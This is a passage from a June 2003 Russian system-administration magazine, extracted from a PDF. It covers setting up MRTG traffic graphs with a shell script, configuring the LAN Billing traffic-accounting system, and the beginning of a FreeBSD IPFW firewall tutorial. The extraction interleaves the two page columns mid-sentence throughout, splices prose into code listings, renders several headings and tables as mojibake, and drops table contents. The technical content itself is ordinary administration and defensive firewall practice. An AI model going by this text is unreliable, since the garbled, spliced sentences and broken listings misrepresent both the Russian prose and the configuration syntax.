Программа MRTG будет периодически запускаться на Группа глобальных параметров Options управляет по-
узле MRTG, обновляя информацию о трафике. Пользова- строением изображения. Параметр bits означает, что мы
тели локальной сети могут ознакомиться с этой информа- измеряем трафик в битах, поэтому все числа нужно ум-
цией по протоколу HTTP. Естественно, на узле MRTG дол- ножить на 8. Второй параметр, growright, указывает на-
жен быть установлен веб-сервер. правление оси времени. Позже мы рассмотрим все пара-
Перед установкой программы убедитесь в наличии метры подробнее.
следующих библиотек: Параметр output программы cfgmaker задает имя кон-
 gd (http://www.boutell.com/gd/); фигурационного файла, который будет создан.
 libpng (http://www.libpng.org/pub/png/); Нужно отметить, что параметры WorkDir и Options яв-
 zlib (http://www.info-zip.org/pub/infozip/zlib/). ляются параметрами программы mrtg, а параметры global
и output – параметрами программы cfgmaker.
Загрузить последнюю версию MRTG можно по адресу: Параметр community@router указывает имя сообще-
http://ee-staff.ethz.ch/~oetiker/webtools/mrtg/pub. ства SNMP-устройства. В нашем случае – это наш SNMP-
Если вы используете операционную систему RedHat маршрутизатор. Обычно используется имя сообщества
версии 7 или выше, программа MRTG, скорее всего, бу- public. Параметр community@router как раз и является
дет уже у вас установлена. Мы не будем скачивать исход- целью, которую мы будем контролировать.
ные тексты программы, а сразу воспользуемся уже со- После выполнения этой команды будет сгенерирован
бранным пакетом rpm. Установим mrtg командой: такой файл mrtg.cfg.

rpm -ih mrtg* WorkDir: /var/www/html/mrtg


Options[_]: bits,growright
Target[r1]: community@router
После установки нужно подготовить программу к пер-
вому запуску, то есть указать, откуда получать сведения Имя цели (r1) пишется в квадратных скобках. Для раз-
о трафике. ных целей можно задавать разные параметры, например:
Программа MRTG состоит из трех частей:
 cfgmaker – утилита для создания конфигурационно- Target[r1]: 1:community@router
Target[r2]: 2:community@router
го файла; MaxBytes[r1]: 1250000
 indexmaker – утилита для создания файла index.html – MaxBytes[r2]: 2500000
Title[r1]: Traffic Analysis for first interface
страницы краткого обзора, дающая вам общее пред- PageTop[r1]: <H1>Stats for our interface #1</H1>
ставление о всех целях, которые вы контролируете. О Title[r2]: Traffic Analysis for second interface
PageTop[r2]: <H1>Stats for our interface #2</H1>
целях мы поговорим немного позже;
 mrtg – сам mrtg. Параметр MaxBytes определяет максимальное число
байт для цели. Значения, превышающие MaxBytes, будут
Первый конфигурационный файл удобно создать с по- игнорироваться.
мощью программы cfgmaker, а потом добавить в него до- Параметр Title определяет заголовок страницы, кото-
полнительные параметры. Введите команду: рая будет содержать информацию о цели, а параметр
PageTop – текст, который будет помещен в верхней части
cfgmaker --global 'WorkDir: /var/www/html/mrtg' \ этой страницы.
--global 'Options[_]: bits,growright' \
--output /var/www/html/mrtg/mrtg.cfg \ Числа 1 и 2 перед именем сообщества – это номера
community@router интерфейсов во внутренней таблице SNMP-устройства.
После имени (или IP-адреса) SNMP-устройства можно
Теперь разберемся, что все это означает. Прежде всего, на- указать порт SNMP. По умолчанию используется стандар-
помню, что означает наклонная черта: это просто перенос тный порт 161.
строки. Когда вы будете вводить команду, вместо наклон- В качестве цели может быть использована программа,
ной черты используйте пробел как разделитель параметров. которая выводит на стандартный вывод четыре строки:

№6(7), июнь 2003 21


администрирование
 Количество принятых байт. Например:
 Количество отправленных байт.
 Время работы объекта после включения. count eth0
 Имя объекта.
Запустив программу, вы должны увидеть примерно
Программу нужно записать в обратных кавычках, например: следующие строки:

Target[r3]: `/usr/bin/program` 2738410


1235960
2:57,
Очень полезными параметрами являются Refresh и eth0
Interval. Первый определяет частоту обновления страниц с
отчетами в браузере, а второй – предполагаемый интер- Во второй строке программы происходит следующее:
вал запуска программы MRTG. По умолчанию значения находится нужная нам запись с именем интерфейса, ко-
обоих параметров равны 300 секундам. Опции perminute и торый мы указали в первом параметре при вызове про-
perhour позволяют измерять трафик в единицах за минуту граммы ($1). Затем интерпретатор awk выводит значения
и час соответственно. Опция noinfo подавляет вывод ин- первого и девятого полей, содержащие количество при-
формации об устройстве и времени его работы. Пример: нятых и переданных байт.
В третьей строке программы вычисляется время uptime.
Options[_]: bits, perminute, noinfo Последние две строки выводят время uptime и назва-
ние интерфейса. Предположим, что у вас имеется два
Я думаю, что теории вполне достаточно, тем более что интерфейса: локальный eth0 и выделенная линия (ppp0),
вместе с MRTG поставляется отличная документация, ко- идущая к провайдеру.
торая доступна по адресу http://localhost/mrtg/. Теперь пе- Теперь узел MRTG сам является маршрутизатором
рейдем к практической настройке. и самостоятельно считает свой трафик. Файл конфигу-
Скорее всего, у вас не будет SNMP-маршрутизатора, рации mrtg будет выглядеть так, как это показано в ли-
поскольку в небольших сетях маршрутизатором являет- стинге 2.
ся сама Linux-машина, а выделение средств на приобре-
тение аппаратного маршрутизатора в ближайшие не- Ëèñòèíã 2. Ôàéë /var/www/html/mrtg/mrtg.cfg
сколько лет не предвидится. Да и намного интереснее Target[eth0]: `/usr/bin/count eth0`
считать трафик своего компьютера, а не какого-то марш- WorkDir: /var/www/html/mrtg/ipc
Options[eth0]: nopercent,growright,noinfo,gauge
рутизатора, которого вы даже и не видели. Title[eth0]: eth0 Traffic
Я предлагаю довольно простое решение, настройка ко- PageTop[eth0]: <h1>eth0 Traffic </h1>
MaxBytes[eth0]: 99999999
торого не займет у вас много времени. Основывается оно kilo[eth0]: 1024
вот на чем: как я уже отмечал, вместо цели можно ука- YLegend[eth0]: bytes
ShortLegend[eth0]: bytes
зать программу, которая бы выводила информацию на LegendO[eth0]: &nbsp; eth0 Traffic :
стандартный вывод в таком формате: LegendI[eth0]: &nbsp; eth0 Traffic :
Legend1[eth0]: eth1 Traffic in bytes

Ñòðîêà 1 Target[ppp0]: `/usr/bin/count ppp0`


Ñòðîêà 2 WorkDir: /var/www/html/mrtg/ipc
Ñòðîêà 3 Options[ppp0]: nopercent,growright,noinfo,gauge
Ñòðîêà 4 Title[ppp0]: ppp0 Leased Line
PageTop[ppp0]: <h1>ppp0 Leased Line </h1>
MaxBytes[ppp0]: 99999999
Строка 1 – это входящие байты (принятые), Строка 2 – kilo[ppp0]: 1024
YLegend[ppp0]: bytes
исходящие байты (отправленные), Строка 3 – время, на про- ShortLegend[ppp0]: bytes
тяжении которого работает устройство, Строка 4 – имя цели. LegendO[ppp0]: &nbsp; ppp0 Traffic :
LegendI[ppp0]: &nbsp; ppp0 Traffic :
Где же взять эту программу? Написать самому! Не буду об- Legend1[ppp0]: ppp0 Traffic in bytes
ременять вас лишними подробностями, которые не относятся
к самой MRTG, а больше к программированию сценариев, Из листинга 2 видно, что у вас имеются две цели, для
поэтому рассмотрим готовый листинг программы count. каждой из них заданы свои параметры. Нужно учитывать,
что имя интерфейса, которое вы передаете программе count,
Ëèñòèíã 1. Ïðîãðàììà count должно совпадать с названием цели (eth0 и ppp0). В каче-
#!/bin/bash
# (c) 2002 Denis Kolisnichenko стве рабочего каталога я использовал /var/www/html/mrtg/ipc.
# Usage: /usr/bin/count iface От использования каталога /var/www/html/mrtg/ я отказал-
/bin/grep "$1" /proc/net/dev | /bin/awk -F ":" ↵
'{ print $2 }' | /bin/awk '{ print $1 "\n" $9 }' ся, поскольку в нем находится документация по mrtg. Па-
UPTIME=`/usr/bin/uptime | /bin/awk -F " " '{ print $3 }'` раметры MaxBytes, Title и PageTop являются обязатель-
echo $UPTIME
echo $1 ными. При их отсутствии mrtg попросит вас исправить
ошибки в конфигурационном файле. Теперь можете за-
Использовать программу нужно так: пустить программу mrtg командой:

/usr/bin/count èíòåðôåéñ mrtg /var/www/html/mrtg/mrtg.cfg

22
администрирование
В каталоге /var/www/html/mrtg/ipc должны появиться Система LAN Billing предназначена для сбора, преобра-
первые файлы-отчеты. Имя файла отчета будет совпа- зования и выдачи информации об IP-трафике. Программа
дать с именем цели. Первые два запуска mrtg будет «ру- будет полезной интернет-провайдерам, которые хотят вес-
гаться» на отсутствие предыдущих данных, но потом ти учет трафика их клиентов, а также директору предприя-
все будет работать как надо. Если третий запуск про- тия, желающего знать, кто из его сотрудников постарался
шел гладко, то есть без сообщений об ошибках, можно до такой степени, что счет за Интернет увеличился в 2 раза
добавить mrtg в расписание демона crond. Для этого в сравнении с предыдущим месяцем. Кроме того, началь-
добавьте в файл /etc/crontab одну из следующих строк ник узнает не только объем переданной и принятой сотруд-
(какая кому нравится): ником информации, а также и узлы, которые сотрудник по-
сещал. Вполне возможно, что сотрудник занимался нужным
5,10,15,20,25,30,35,40,45,50,55,59 ↵ делом, а может случиться и такое, что подчиненный выка-
* * * * root /usr/bin/mrtg /var/www/html/mrtg/mrtg.cfg
чивал какой-нибудь фильм размером в 800 Мб, и тогда... То,
или что будет с этим сотрудником, нас не касается, лучше озна-
комимся с основными возможностями программы:
0-59/5 * * * * root /usr/bin/mrtg /var/www/html/mrtg/mrtg.cfg  Подсчет трафика по нескольким подсетям.
 Поддержка конфигурации сетей, в которых применя-
После этого желательно перезапустить демон crond: ется маскирование (masquerade).
 Детализация данных о трафике с точностью до IP-адре-
/etc/init.d/crond restart са потребителя и IP-адреса удаленного ресурса, который
посещал потребитель за любой промежуток времени.
Программу mrtg можно запускать в режиме демона (не  Сжатие статистики для минимизации объема храни-
через crond). Для этого установите значение параметра мой информации и ускорения доступа к ней со сторо-
RunAsDaemon, равное yes. За более подробной инфор- ны управляющего клиента.
мацией обратитесь к документации по mrtg.  Два клиента для доступа к статистике: веб-клиент, на-
Теперь самое время проверить, как работает mrtg. За- писанный на PHP, и Windows.
пустите браузер и введите адрес http://localhost/mrtg/ipc/  Построение графиков загрузки интернет-канала за от-
ppp0.html. В результате вы должны увидеть информацию четный период, а также график распределения нагруз-
о загрузке канала. Первые графики вы увидите пример- ки по сетям и адресам.
но через час после первого запуска mrtg, в зависимости  Сбор статистики с NetFlow-совместимых устройств, на-
от настроек периода запуска mrtg. пример маршрутизаторов Cisco Systems.
 Поддержка виртуальных групп (возможность присвое-
ния группе адресов или сетей учетной записи, под пол-
номочиями которой пользователь может просматривать
статистику только о трафике своей группы адресов).
 Поддержка контроля доступа для виртуальных групп,
в частности прекращение обслуживания по истечении
средств на счете клиента.

Из всего этого можно сделать вывод, что программа


очень полезна. Настроить (читайте – создать самостоятель-
но) все это средствами Linux – задача вполне выполнимая
и посильная для любого профессионала, но довольно не-
благодарная. Слишком подробно программу рассматривать
не буду, поскольку на сайте http://www.lanbilling.ru находится
прекрасная документация по этой программе. В этой ста-
тье мы рассмотрим только установку и настройку системы
LAN Billing, а об ее использовании вы сможете прочитать в
документации по системе. Система LAN Billing состоит из
трех основных компонентов:
 сетевого агента;
 сервера статистики;
 управляющего клиента.

Ðèñ. 1. Ñòàòèñòèêà äëÿ óñòðîéñòâà ppp0 Сетевой агент занимается подсчетом трафика, сервер
статистики хранит таблицы, содержащие информацию о
Если вы администратор довольно большой сети уров- трафике, а управляющий агент управляет всем этим. Если
ня предприятия, возможно, более удобным решением для быть предельно точным, то управляющий клиент не толь-
вас станет использование программы LAN Billing, кото- ко управляет конфигурацией системы, а еще и создает
рая разработана компанией Network Solutions. отчеты об использованном трафике сети.

№6(7), июнь 2003 23


администрирование
Сетевой агент может быть двух видов: Директива writemode определяет, какой режим за-
 Агент для сетевого адаптера Ethernet (для операцион- писи данных о трафике мы хотим использовать: db или
ных систем Linux, FreeBSD, NetBSD). file. В первом случае мы будем использовать для хра-
 Сервер для аппаратного маршрутизатора или комму- нения статистики сервер MySQL, а во втором – данные
татора Cisco, поддерживающего протокол NetFlow. будут сохраняться в файле. Второй случай нам не ин-
тересен, поскольку мы не сможем генерировать отче-
Существует несколько способов интеграции системы ты средствами системы LAN Billing, поэтому установи-
LAN Billing в вашу сеть. Вот четыре основных способа: те значение db.
 Установка системы на Unix-маршрутизатор.
 Установка системы на Unix-маршрутизатор, выполня- writemode=db
ющий NAT/Masquerade.
 Система устанавливается в сегмент, в котором нахо- Следующая группа директив определяет параметры
дится маршрутизатор, и информация о трафике дос- сервера MySQL: его адрес, имя пользователя, пароль и
тупна на сетевом уровне. базу данных.
 Система устанавливается в сегмент, доступный по IP-
протоколу (UDP) для NetFlow-совместимого устрой- serveraddress=192.168.0.1
mysqluser=sqluser
ства, осуществляющего маршрутизацию. mysqlpassword=qwerty123456
mysqldatabase=nfbilling
В первом случае мы выступаем владельцами IP-сети,
то есть каждому компьютеру нашей сети назначен реаль- Директива LogFile определяет месторасположение
ный IP-адрес. Это самый простой случай. файла протокола работы системы. Файл, определенный
Второй случай подразумевает под собой наличие од- в директиве LogFile будет использоваться, если вы опре-
ного реального IP-адреса. Естественно, компьютер с на- делили режим учета file в директиве writemode.
стоящим IP-адресом – это маршрутизатор. Все осталь-
ные компьютеры получают доступ к Интернету через шлюз logfile=/var/log/nfbilling/nfbilling.log
с настоящим IP-адресом. Шлюз выполняет NAT (сетевое
преобразование адреса), при котором компьютеры нашей Директива сегмент описывает наш сегмент сети. В
сети «думают», что они по-настоящему общаются с узла- директиве указывается адрес и маска сети. Можно ис-
ми Интернета, а последним кажется, что они общаются пользовать несколько директив – в зависимости от коли-
только с нашим шлюзом. То есть шлюз перезаписывает чества сегментов, для которых мы хотим вести учет тра-
заголовки IP-пакетов, заменяя фиктивный IP-адрес лю- фика. При указании маски сети нельзя использовать би-
бого узла нашей сети на свой собственный (реальный товую нотацию (192.168.0.0/24).
адрес) и отправляет пакет в Интернет. Когда пакет прихо-
дит обратно, он опять перезаписывает IP-адрес и отправ- segment=192.168.0.0 255.255.255.0
ляет его определенному компьютеру нашей сети.
В третьем случае интерфейс маршрутизатора и сер- С помощью директивы actuality можно указать время,
вера с установленной системой LAN Billing объединены на протяжении которого база данных будет хранить инфор-
концентратором. мацию об адресе назначения и сервисах, с которыми со-
Мне более близок первый случай, но остановимся на единялись наши пользователи. По умолчанию – 100 часов.
втором, поскольку он более близок к реалии наших дней –
не у каждого предприятия есть своя собственная IP-сеть. actuality=100
Программа LAN Billing поставляется в виде пакета RPM,
поэтому проблем с ее установкой не возникает. Директива minter определяет время, за которое нужно
Параметры учета трафика находятся в файле /etc/ объединять статистику об однотипном трафике для пос-
billing.conf. При редактировании этого файла обратите ледующего хранения. По умолчанию – 100 секунд.
внимание на то, что даже если какая-нибудь директива
не используется, она должна присутствовать в файле и minter=100
не быть закомментированной. Иначе произойдет ошибка
при инициализации системы. Комментарии в этом файле Период записи информации о трафике можно опре-
начинаются со знака решетки #. делить с помощью директивы flush. По умолчанию – 600
В дальнейшем будем предполагать, что реальный IP-ад- секунд.
рес сервера 193.111.111.1, и что у нас один сегмент сети с
фиктивными адресами – 192.168.0.1. Директива serverextip flush=600
определяет внешний адрес сервера (реальный IP-адрес).
Данную директиву нужно использовать, если вы используе- Директива fdelay определяет время в секундах после
те NAT, в противном случае, оставьте эту директиву без из- регистрации последнего пакета, когда поток считается
менения. Значение по умолчанию – 150.150.150.150. завершенным и подлежащим записи в базу данных.

serverextip=193.111.111.1 fdelay=60

24
администрирование
Директива dumpfile задает имя файла, содержащего duser=nobody
dgroup=nobody
временную информацию о незавершенных потоках. dport=7223

dumpfile=/var/log/nfbilling/nfbcd-dump После правки файла конфигурации нужно перезапус-


тить систему. Для этого выполните одну из команд:
Директива device определяет интерфейс, на котором
нужно считать трафик. Как правило, нужно считать тра- killall –HUP nfbcd
killall –HUP nfbccd
фик внешнего интерфейса. Например, если вы подклю-
чаетесь к Интернету через интерфейс ppp0 (выделенная Но более корректной будет команда:
линия), а к своей домашней сети через eth0, но вести нуж-
но учет интерфейса ppp0. /etc/rc.d/init.d/nfbilling.init restart

devide=ppp0 Обычно сетевой агент LAN Billing запускается автома-


тически, но вы можете запустить его вручную с помощью
Директива ignoremask указывает маску подсети, тра- команды:
фик которой мы будем игнорировать. Эта директива нуж-
на, чтобы мы не считали локальный трафик. При учете /etc/rc.d/init.d/nfbilling.init start
пакетов на интерфейсе, подключенном к Интернету, нуж-
но задать маску 255.255.255.255: Остановить агента можно командой:

ignoremask=255.255.255.255 /etc/rc.d/init.d/nfbilling.init stop

Директива ingnorenet определяет сеть, трафик кото- Теперь можно просмотреть результат нашей рабо-
рой должен быть проигнорирован в любом случае. Син- ты. Управляющий клиент системы выполнен в виде веб-
таксис ее такой же, как и синтаксис директивы segment. интерфейса. Для доступа к статистике вы можете ис-
Можно использовать для нетарифицируемого трафика. пользовать любой браузер. В поле ввода адреса брау-
зера введите:
ignorenet=127.0.0.0 255.0.0.0
http://âàø_web_ñåðâåð/analyze.php
Директивы debug и debugfile относятся к отладке про-
граммы. Директивы headers и Disable пользователем (чи- В случае если система установлена и функционирует
тайте – администратором) не используются. Директивы корректно, вы получите доступ к консоли администрато-
duser, dgroup используются для определения учетных за- ра. Более подробную информацию о программе, а также
писей пользователя и группы, под полномочиями которых примеры ее применения вы можете посмотреть на сайте
выполняется сетевой агент Cisco. Директива dport опре- http://www.lanbilling.ru. Ваши вопросы и комментарии при-
деляет номер порта агента Cisco. сылайте по адресу dhsilabs@mail.ru.

№6(7), июнь 2003 25


администрирование

Ipfw и управление
трафиком в FreeBSD

ИГОРЬ ЧУБИН
26
администрирование
Трафик, проходящий через шлюз, не должен быть бес- проанализировать трафик и выяснить, является ли он до-
контрольным. Абсолютно естественно, когда хочется: пустимым с точки зрения политики безопасности.
 Выполнять фильтрацию трафика, то есть пропускать Брандмауэры обычно строятся на базе двух элемен-
только то, что можно, фиксировать то, что нужно, и тов, которые занимаются фильтрацией и контролем тра-
уничтожать все остальное. фика, но делают это по-разному:
 Выполнять трансляцию адресов, для того чтобы скрыть  Фильтры пакетов выполняют анализ содержимого про-
несколько хостов одним, когда нужно дать доступ к Ин- ходящих через него сетевых пакетов и пропускают
тернету целой сети, а есть только один IP-адрес; или только некоторые из них. Таким образом, нежелатель-
перенаправить различные входящие соединения на ные соединения отсекаются. Такой брандмауэр рабо-
различные компьютеры, скрытые за брандмауэром. тает на сетевом и транспортном уровнях и абсолютно
 Выполнять регулировку трафика, то есть ограничивать прозрачен (незаметен) для протоколов более высоко-
трафик одного вида, чтобы трафик другого вида чув- го уровня.
ствовал себя свободнее. Проблема фильтрации пакетов обычно ложится на пле-
 Выполнять учет трафика, дабы знать, каков объем тех чи ядра системы: в Linux этим занимается NetFilter, в
или иных данных, прошедших через шлюз за опреде- OpenBSD – PF, а в FreeBSD – IPFW или IPF. Кстати,
ленный промежуток времени. очень мощный функциональный фильтр пакетов PF из
OpenBSD в скором времени может быть полностью
ОС FreeBSD предлагает хороший инструментарий для портирован и в FreeBSD.
решения названных вопросов. Центральным элементом  Брандмауэр уровня приложений также известен как
этого инструментария является подсистема ядра IPFW, прокси-сервер (сервер-посредник). Запросы на ресур-
предназначенная для пакетной фильтрации и других род- сы по ту сторону сети направляются ему, а он уже са-
ственных задач; и одноименная утилита ipfw, которая нуж- мостоятельно получает доступ к этому ресурсу и пе-
на для настройки этой подсистемы. редает полученную информацию запросившему ее
Здесь рассматривается, как пользоваться утилитой клиенту. Брандмауэр работает на уровне приложений.
ipfw для настройки фильтрации/учета/регулировки тра- Это значит, что не существует прозрачных соедине-
фика; конфигурировать демон natd для выполнения ний более низкого уровня, проходящих через него.
трансляции адресов, а также указывается, с какими оп- Ярким примером такого рода брандмауэра может слу-
циями должно быть собрано ядро системы, для того что- жить кэширующий прокси-сервер, который обрабаты-
бы все это работало. В завершение рассказывается, вает клиентские HTTP-запросы. Клиенты не могут со-
как IPFW и natd автоматически настраивать при заг- единиться напрямую с веб-сервером и отправляют
рузке системы. запрос прокси-серверу, который, в свою очередь, об-
ращается уже к веб-серверу.

Фильтрация пакетов Здесь рассматривается только первый из этих элементов –


пакетный фильтр, а точнее, его реализация IPFW в FreeBSD.
Что это такое, и для чего нужна
фильтрация пакетов Утилита ipfw
Внутренняя дружественная сеть и потенциально опас- Утилита ipfw используется в FreeBSD для управления пакет-
ный Интернет должны быть разделены. Внутренние ным фильтром IPFW и регулировщиком трафика dummynet,
компьютеры должны быть ограничены от пагубного встроенными в ядро.
внешнего воздействия, но при этом, с одной стороны, Каждый пакет, обрабатываемый ядром, проходит че-
они должны обеспечивать другие компьютеры внутрен- рез цепочку правил (ruleset). Цепочка представляет со-
ней сети необходимыми сервисами; с другой сторо- бой набор правил, на соответствие каждому из которых
ны, должны иметь полноценный доступ к компьюте- последовательно проверяются пакеты. Если соответствие
рам Интернета. Эта задача обычно решается при по- найдено, выполняется заданное действие, иначе прове-
мощи брандмауэра. ряется следующее правило. И так до тех пор, пока не бу-
Брандмауэр представляет собой программно-аппарат- дет найдено соответствие или не проверятся все правила
ный комплекс, выполняющий разграничение сетей и ог- цепочки. В последнем случае срабатывает правило по
раничивающий доступ из одной сети в другую. Термин умолчанию, которое определяет, как нужно поступить с
брандмауэр (firewall) берет свое начало в строительной теми пакетами, о которых никто не побеспокоился.
отрасли, где он означает сооружение, препятствующее Каждое правило в цепочке имеет номер от 1 до 65535.
распространению огня при пожаре из одной части здания Номера не обязательно должны идти подряд, важно то,
в другую. Аналогичным образом в компьютерных сетях что правила с меньшим номером проверяются раньше
брандмауэр ограничивает распространение вредного се- правил с большим номером. Правило по умолчанию все-
тевого воздействия. гда имеет номер 65535. Например, в этом случае цепочка
Брандмауэры обычно устанавливаются в том месте, где фильтрации содержит два правила.
внутренняя сеть соединяется с Интернетом. Весь трафик,
входящий из Интернета или исходящий из внутренней сети, # ipfw list
00100 deny ip from 10.0.0.2 to any
проходит через брандмауэр. При этом брандмауэр может 65535 allow ip from any to any

№6(7), июнь 2003 27


администрирование
Первое правило отклоняет (deny) все пакеты, которые Òàáëèöà 2. Ýëåìåíòû ïðàâèëà ipfw.
приходят от хоста с адресом 10.0.0.2. Второе правило,
которое является правилом по умолчанию, разрешает про-
ходить всем остальным.
Цепочку правил можно модифицировать с помощью
ipfw. Для этого утилите нужно указать, какое действие она
должна выполнить с цепочкой:

# ipfw äåéñòâèå [ ÷èñëî ] [ ïðàâèëî ]

Здесь действие определяет действие, которое нужно


выполнить; правило – правило, которое будет добавлено в
цепочку (при условии, что его нужно добавлять). Необяза-
тельное поле число указывает, с каким именно правилом
в цепочке выполняется действие. Например, команда: Простейшими действиями ipfw являются allow и deny.
Действие allow разрешает прохождение пакета, и он
# ipfw add deny ip from 10.0.0.3 to any больше не проверяется на соответствие ни одному ус-
ловию, а deny, наоборот, приводит к тому, что пакет от-
добавит правило deny ip from 10.0.0.3 to any в цепочку брасывается. При этом отправитель не получает ника-
фильтрации. Номер правила будет выбран автоматичес- кой информации о судьбе пакета – пакет считается про-
ки: он будет равен максимальному номеру правила (не сто потерявшимся. Если нужно, чтобы отправитель знал
считая правила по умолчанию) плюс шаг. о том, что пакет был уничтожен, следует использовать
Команда: действие unreach host.
Другие действия ipfw, такие как divert, fwd, pipe, queue,
# ipfw add 100 deny ip from 10.0.0.3 to any используются для организации трансляции адресов и ре-
гулирования полосы пропускания.
будет работать точно также, но если правило с номером Òàáëèöà 3. Äåéñòâèÿ â ïðàâèëàõ ipfw.
100 уже существует, оно будет перезаписано.
Òàáëèöà 1. Äåéñòâèÿ ñ öåïî÷êàìè ïðàâèë.

Правила ipfw
Общая структура правила такова:

[ ÷èñëî ] [ set ÷èñëî ] [ prob âåðîÿòíîñòü ] äåéñòâèå [ log ] òåëî Пример фильтрации пакетов
Попробуем теперь применить наши знания на практике и
Обычно большинство полей в правиле не указывают, немного поэкспериментировать с нашим фильтром. Для
и оно имеет более простую структуру: этих экспериментов необходимо, чтобы ядро было собра-
но с поддержкой IPFW. Как правило, ядро включает под-
[ ÷èñëî ] äåéñòâèå òåëî держку IPFW, но если нет, результатом выполнения любой
команды ipfw будет сообщение об ошибке. В этом случае
Каждое правило содержит условие (тело), при кото- ядро нужно пересобрать (см. далее раздел «Настройка ядра
ром оно будет срабатывать, и действие (действие), ко- для поддержки ipfw») или просто загрузить модуль:
торое говорит о том, как именно правило будет себя
вести. # kldload ipfw
Например, правило:
Настройка фильтра начинается с его очистки:
allow from any to any
# ipfw -q flush
содержит действие allow, которое применяется ко всем
пакетам (при условии, что пакет дошел до правила). Вы- Все правила фильтрации удалены, фильтр пуст. Теперь
бор пакетов определяется телом правила: from any to any. действует только правило по умолчанию, и что произойдет

28
администрирование
с трафиком, определяет только оно: трафик будет беспре- # ipfw add deny from 10.0.0.0/8 to any via ${external}
# ipfw add deny from 172.16.0.0/12 to any via ${external}
пятственно проходить, если правило по умолчанию accept # ipfw add deny from 192.168.0.0/16 to any via ${external}
(ядро собрано с опцией IPFIREWALL_DEFAULT_TO_ACCEPT),
и уничтожаться в противном случае. Ключевая часть фильтрации: мы хотим, чтобы из внеш-
Когда по умолчанию трафик запрещен, если вы нача- ней сети были доступны только те сервисы, которые нуж-
ли настраивать фильтр пакетов удаленно, то на этом на- но, и не более того. Нужно, чтобы наш компьютер можно
стройка, скорее всего, и закончится. Очистив фильтр, вы было удаленно администрировать с помщью SSH (22); он
тем самым удалили правило, которое позволяло поддер- должен принимать почту по протоколу SMTP (25) и под-
живать вам удаленную сессию доступа. Для того чтобы держивать веб-сервер (80):
этого не произошло, нужно было добавить команду, раз-
решающую трафик: # ipfw add 2000 allow tcp from any to ${external} 22,25,80 setup
# ipfw add 2100 allow tcp from any to any established

# ipfw -q flush && ↵ Первое правило разрешает устанавливать соединения


ipfw add 65000 allow ip from any to any
из любой точки сети на внешний интерфейс нашего хос-
Теперь компьютер открыт всему миру, и в данном слу- та ${external} по портам 22, 25 и 80. Ключевое слово setup
чае открытость – не самое лучшее его качество. в конце строки говорит о том, что правило относится толь-
Нужно закрыть все лишнее. Пусть: ко к пакетам, инициирующим соединение (то есть тем,
 Трафик с адресами 127.0.0.0/8 разрешен только че- которые имеют установленный флаг SYN и сброшенные
рез интерфейс обратной петли; ACK и RST). Второе правило относится к другим пакетам:
 Запрещается весь трафик, приходящий через вне- тем, которые передаются в рамках уже установленного
шний интерфейс (назовем его ${external}), если у него соединения. Такие пакеты разрешаются все. Логика пра-
адрес отправителя или получателя относится к диа- вила очень простая: «Если соединение уже каким-то об-
пазону зарезервированных для внутреннего исполь- разом удалось установить, то значит все нормально, дан-
зования адресов; ные могут проходить. Если же соединение не установле-
 Разрешаются только входящие TCP-соединения на 22, но, а пакет просто делает вид, что относится к какому-то
25 и 80 порты, то есть мы принимаем соединения из соединенеию, ну что ж, это его проблемы, он все равно
Интернета, адресованные только нашему SSH, почто- никому не нужен.» Правило рассуждает так, но здесь оно
вому и веб-серверам; немного ошибается. В определенных случаях подобный
 Разрешены любые исходящие TCP-соединения, то есть пакет, если его умело составить, может нанести вред ком-
мы можем соединяться с любым компьютером в Ин- пьютерам за брандмауэром. Для того чтобы справиться с
тернете, когда сами этого захотим; такими пакетами, нужно использовать фильтр с поддер-
 Разрешается UDP-трафик на 53 и с 53 порта, то есть жкой состояний (stateful), но об этом в другой раз.
трафик, необходимый для работы DNS; Если соединение хотим установить мы, то препятствий
 Разрешается прохождение исходящих эхо-запросов и быть не должно:
входящих эхо-ответов, то есть мы можем пинговать
внешние компьютеры, а они нас нет; # ipfw add 3000 allow tcp from ${external} to any setup
 Весь остальной трафик должен быть заблокирован.
Обратите внимание на то, что мы разрешаем соеди-
Запрет локального трафика не через локальный ин- нение только с одного IP-адреса. Если же нас интересует
терфейс выполняется правилами, которые уже стали тра- несколько IP-адресов, то мы должны указать их либо в
диционными при настройке фильтра пакетов: виде адреса сети, либо создать несколько правил – по
одному для каждого из адресов.
# ipfw add 100 allow ip from any to any via lo0 Следующее правило относится к UDP-трафику. Этот
# ipfw add 200 deny ip from any to 127.0.0.0/8
# ipfw add 300 deny ip from 127.0.0.0/8 to any трафик справедливо заслужил репутацию не самого безо-
пасного: из-за отсутствия внутренних механизмов контро-
Первое правило разрешает любой трафик через ин- ля соединения отследить его действительный источник
терфейс петли обратной связи lo0. Следующие два зап- практически невозможно, что делает подмену адресов лег-
рещают весь трафик, который приходит с зарезервиро- ким делом. Проблема осложняется тем, что этот трафик
ванных адресов из сети 127.0.0.0/8. Правила 200 и 300 используют такие потенциально небезопасные службы, как,
сработают только в том случае, если пакет прошел не например, NFS. Внутри сети UDP ведет себя хорошо: не-
через интерфейс lo0. перегруженный лишними механизмами обеспечения на-
Трафик с адресами внутренних сетей (RFC 1918) не дежной доставки и контроля соединения, он легок и эконо-
должен приходить через внешний интерфейс. мичен, и в сети это, определенно, является благом, но за
ее пределами все обстоит совершенно иначе. В результа-
# ipfw add deny from any to 10.0.0.0/8 via ${external} те правило работы с UDP звучит так: если от UDP нельзя
# ipfw add deny from any to 172.16.0.0/12 via ${external}
# ipfw add deny from any to 192.168.0.0/16 via ${external} избавиться совсем, его должно быть как можно меньше.

Такой же трафик не должен и уходить, хотя, в сущнос- # ipfw add 4000 allow udp from ${external} to any 53
# ipfw add 4100 allow udp from any 53 to ${external}
ти, для нас это менее важно:

№6(7), июнь 2003 29


администрирование
Правила разрешают прохождение UDP-трафика в том Для того чтобы обеспечить хостам с внутренними ад-
случае, если он отправлен на внешний DNS-сервер или, ресами возможность доступа к Интернету, используется
наоборот, DNS-сервер направил его нам. Эти правила не маскарадинг. При маскарадинге адрес отправителя паке-
являются идеальными, хотя и решают подавляющее боль- та автоматически подменяется внешним адресом сетево-
шинство проблем с UDP. Но ничто не мешает злоумыш- го интерфейса хоста, на котором он осуществляется.
леннику представиться DNS-сервером и отправлять UDP-
пакеты с 53 порта. Здесь, также как и раньше, полную Трансляция адресов в FreeBSD
уверенность может дать только фильтрация с поддерж- В FreeBSD трансляцию адресов пакетов можно выполнить
кой состояний. двумя способами:
Последнее, что мы хотим разрешить, – это ICMP. Но  natd
мы почему-то хотим, чтобы наш компьютер нельзя было Демон natd является процессом, то есть он работает
пропинговать извне, однако при этом, как свойственно че- не в пространстве ядра, а в пространстве пользова-
ловеческой природе, сами пинговать других собираемся: теля. Поэтому для обработки демоном трафик дол-
жен копироваться из ядра в пространство пользова-
